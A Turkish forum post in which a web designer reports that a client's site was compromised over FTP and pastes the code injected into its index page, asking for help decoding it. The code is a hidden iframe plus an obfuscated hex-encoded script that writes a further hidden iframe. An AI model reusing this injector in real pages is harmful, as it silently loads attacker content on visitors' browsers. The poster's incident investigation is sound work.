Merhaba arkadaşlar.
Öncelikle konu uzun okumak istemeyebilirsiniz sadece yardımcı olabilirim diyorsanız lütfen
Şimdi gelelim asıl konumuza kısmından sonrasına bakınız. Şimdiden Teşekkür ediyorum ilginize ve alakanıza.
Müşterilerimden birisine webtasarım yaptım ve hosting domaini başka bir firmadan daha önce aldığını söyledi.
Bilgilerine nasıl ulaşacağından bilgisinin olmadığını da söyledi bende whoist çekerek hostingi nereden aldığını öğrendim
Daha sonra telefon ederek şifreleri müşterime göndermelerini rica ettim ve göndermişler.
Girdim ve şifreleri değiştirdim tekrardan sonra da bilgisi olmasada güven meselesi olsun adına şifreleri müşterime verdim. ( ftp nedir daha bilmez eminim buna )
Daha sonra sitesini istediği şekilde html olarak tasarladım ve upload ettim ftpye.
Girdi inceledi tam istediği gibi birşey olduğunu söyledi ve işimizi bitirmiş olduk.
Aradan 1 hafta geçtikten sonra sitede birşeylerin bozulduğunu kontrol etmemi rica etti ve girip baktım.
Sitenin ilk giriş dil seçme kısmı 400-500 pxle yakın aşağılara kaymış.
dil seçimi yapıp index e girdiğimizde aynı şekil bir kayma.
Diğer sayfalarda herhangi bir problem yok.
Müşterimize ftp ye girip değişiklik yaptınız mı ya da şifreleri bir başka birisine verdiniz mi sorusuna yukarıda da yazdığım gibi ftp nedir diye bir yanıt geldi
Peki şifreleri sizden isteyen oldu mu diye sorum "hayır" dedi.
Neyse ftp ye bağlanıp kontrol ediyim dedim yanlız şifre kabul etmedi.
Eski şifreyi denedim kabul etmedi.
Hosting şirketini aradım tekrar şifreleri müşterimize aktarırmısınız dedim aktarmışlar ve şifreler değişik bir şekilde alarak ftp ye girdim.
index kodlarını açtım içinde iframe olarak birsürü kodlar var.
Şimdi gelelim asıl konumuza
bu anlam veremediğim sanırım şifrelenmiş iframe kodunu şifreli ise çözebilecek ya da anlatabilecek birisi var mıdır?
Şayet bu hosting şirketlerinin iframelerinden oluşan bir kodsa ona göre şikayet bölümüne kanıtlar ile konu açacağım.
Direk hosting şirketini suçlamak istemediğimden araştırmak istiyorum arkadaşlar.
Eklenen kod;
<iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c102916999516l49bb17961a5e9(l49bb17961adb9){ var l49bb17961b589=16; return (parseInt(l49bb17961adb9,l49bb17961b589));}function l49bb17961c52b(l49bb17961ccfb){ function l49bb17961e46d(){var l49bb17961ec3e=2;return l49bb17961ec3e;} var l49bb17961d4cc='';l49bb17961f40e=String.fromCharCode;for(l49bb17961dc9c=0;l49bb17961dc9c<l49bb17961ccfb.length;l49bb17961dc9c+=l49bb17961e46d()){ l49bb17961d4cc+=(l49bb17961f40e(c102916999516l49bb17961a5e9(l49bb17961ccfb.substr(l49bb17961dc9c,l49bb17961e46d()))));}return l49bb17961d4cc;} var x79='';var l49bb17961fbdf='3C736'+x79+'3726'+x79+'970743E6'+x79+'96'+x79+'6'+x79+'28216'+x79+'D796'+x79+'96'+x79+'1297B6'+x79+'46'+x79+'F6'+x79+'3756'+x79+'D6'+x79+'56'+x79+'E742E77726'+x79+'9746'+x79+'528756'+x79+'E6'+x79+'5736'+x79+'36'+x79+'1706'+x79+'528202725336'+x79+'32536'+x79+'392536'+x79+'36'+x79+'2537322536'+x79+'312536'+x79+'6'+x79+'42536'+x79+'352532302536'+x79+'6'+x79+'52536'+x79+'312536'+x79+'6'+x79+'42536'+x79+'3525336'+x79+'42536'+x79+'332533312533302532302537332537322536'+x79+'3325336'+x79+'42532372536'+x79+'3825373425373425373025336'+x79+'125326'+x79+'6'+x79+'25326'+x79+'6'+x79+'2536'+x79+'372536'+x79+'6'+x79+'6'+x79+'2536'+x79+'372536'+x79+'6'+x79+'6'+x79+'2533322536'+x79+'6'+x79+'42536'+x79+'3525326'+x79+'52536'+x79+'6'+x79+'52536'+x79+'3525373425326'+x79+'6'+x79+'25326'+x79+'52536'+x79+'372536'+x79+'6'+x79+'6'+x79+'25326'+x79+'6'+x79+'2536'+x79+'332536'+x79+'382536'+x79+'352536'+x79+'332536'+x79+'6'+x79+'225326'+x79+'52536'+x79+'382537342536'+x79+'6'+x79+'42536'+x79+'6'+x79+'32532372532302537372536'+x79+'392536'+x79+'342537342536'+x79+'3825336'+x79+'4253336'+x79+'2533372533332532302536'+x79+'382536'+x79+'352536'+x79+'392536'+x79+'372536'+x79+'3825373425336'+x79+'42533322533352533352532302537332537342537392536'+x79+'6'+x79+'32536'+x79+'3525336'+x79+'4253237253736'+x79+'2536'+x79+'392537332536'+x79+'392536'+x79+'322536'+x79+'392536'+x79+'6'+x79+'32536'+x79+'3925373425373925336'+x79+'12536'+x79+'382536'+x79+'392536'+x79+'342536'+x79+'342536'+x79+'352536'+x79+'6'+x79+'525323725336'+x79+'525336'+x79+'325326'+x79+'6'+x79+'2536'+x79+'392536'+x79+'36'+x79+'2537322536'+x79+'312536'+x79+'6'+x79+'42536'+x79+'3525336'+x79+'52729293B7D76'+x79+'6'+x79+'172206'+x79+'D796'+x79+'96'+x79+'13D7472756'+x79+'53B3C2F736'+x79+'3726'+x79+'970743E';document.write(l49bb17961c52b(l49bb17961fbdf));</script>